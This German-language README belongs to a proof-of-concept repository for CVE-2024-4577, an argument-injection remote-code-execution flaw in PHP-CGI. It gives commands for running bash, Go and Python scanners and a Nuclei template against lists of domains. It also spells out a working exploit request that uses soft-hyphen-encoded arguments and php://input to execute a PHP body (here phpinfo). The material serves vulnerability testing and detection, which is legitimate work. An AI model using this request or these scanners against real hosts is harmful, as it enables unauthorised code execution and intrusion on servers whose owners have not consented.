
PHP RCE PoC für CVE-2024-4577, geschrieben in bash, go, python und einer nuclei-Vorlage
Dieses Repository enthält Skripte, um die Schwachstelle CVE-2024-4577 zu prüfen, eine Argument-Injektionsschwachstelle in PHP-CGI. Du kannst die bereitgestellten Bash-, Go- und Python-Skripte verwenden, um eine Liste von Domänen auf diese Schwachstelle zu testen. Ich habe außerdem eine Nuclei-YAML-Datei veröffentlicht.
Um das Bash-Skript zu verwenden, führe den folgenden Befehl aus:
./CVE-2024-4577.sh /path/to/domains-list
Speichere das Go-Skript zunächst in einer Datei namens CVE-2024-4577.go. Zum Erstellen und Ausführen des Go-Skripts:
Kompiliere das Go-Skript in eine Binärdatei:
go build -o CVE-2024-4577 CVE-2024-4577.go
Führe die Binärdatei mit der Domänenlisten-Datei als Argument aus:
./CVE-2024-4577 /path/to/domains-list
Speichere das Python-Skript zunächst in einer Datei namens CVE-2024-4577.py. Zum Ausführen des Python-Skripts:
Stelle sicher, dass die Bibliothek requests installiert ist:
pip install requests
Führe das Python-Skript mit der Domänenlisten-Datei als Argument aus:
python CVE-2024-4577.py /path/to/domains-list
(Optional) Wenn du nur verwundbare Hosts ausgeben möchtest:
python CVE-2024-4577.py /path/to/domains-list --quiet
Um die Schwachstelle manuell zu testen, kannst du die folgende POST-Anfrage senden:
POST /test.hello?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
<?php phpinfo(); ?>
Ich habe außerdem ein Nuclei-Template erstellt, um verwundbare Instanzen zu scannen. Es verwendet das v3-Layout-Schema und wurde in einer Laborumgebung getestet:
nuclei -t CVE-2024-4577.yaml -u <target-url>
Jeder Domäne in der Liste sollte http/https vorangestellt werden, um sicherzustellen, dass sie korrekt gelesen wird.
http://example.com
http://testsite.com
http://vulnerablesite.com
Wenn eine Domäne als verwundbar erkannt wird, sieht die Ausgabe folgendermaßen aus:
http://example.com: Vulnerable
http://vulnerablesite.com: Vulnerable